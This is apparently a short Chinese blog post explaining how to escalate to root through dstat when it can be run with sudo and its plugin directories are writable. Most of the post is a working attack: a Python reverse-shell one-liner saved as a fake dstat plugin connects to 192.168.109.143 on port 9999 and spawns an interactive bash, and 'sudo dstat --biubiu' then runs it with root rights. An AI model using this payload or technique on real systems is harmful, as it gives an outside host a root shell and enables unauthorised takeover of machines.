sudo+dstat提权

Dstat 是 vmstat、iostat 和 ifstat 的通用替代品。Dstat 克服了一些限制并添加了一些额外的功能。具体详细介绍可以参考:https://linux.die.net/man/1/dstat

dstat有个功能就是提供了用户自定义插件的能力,既然用户可以自定义,那么当这个命令可以被sudo调用时,且插件目录可写的时候,就可以利用插件进行提权

经过查询文档,dstat命令的插件主要在一下两个位置保存:

 /usr/share/dstat/
 /usr/local/share/dstat/

在这连个目录下,可以看到有大量的dstat_*.py的python脚本,这些脚本就是插件。在使用过程中,只需要使用dstat --<脚本名>就可以调用这两个目录下的插件

一、写一个python反弹shell的脚本,并按照dstat_xxx.py的格式命名。

# dstat_biubiu.py
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.143",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

二、使用sudo命令调用dstat的插件

sudo dstat --biubiu

即可成功

*注:一个以前没遇到过的知识点,类似sudo的命令还有一个叫doas,是openbsd比较常用的一个工具。详细介绍见:https://man.openbsd.org/doas。用这个命令通过配置也可以达到sudo的效果

posted @ 2023-01-19 21:25  隐念笎  阅读(120)  评论(0编辑  收藏  举报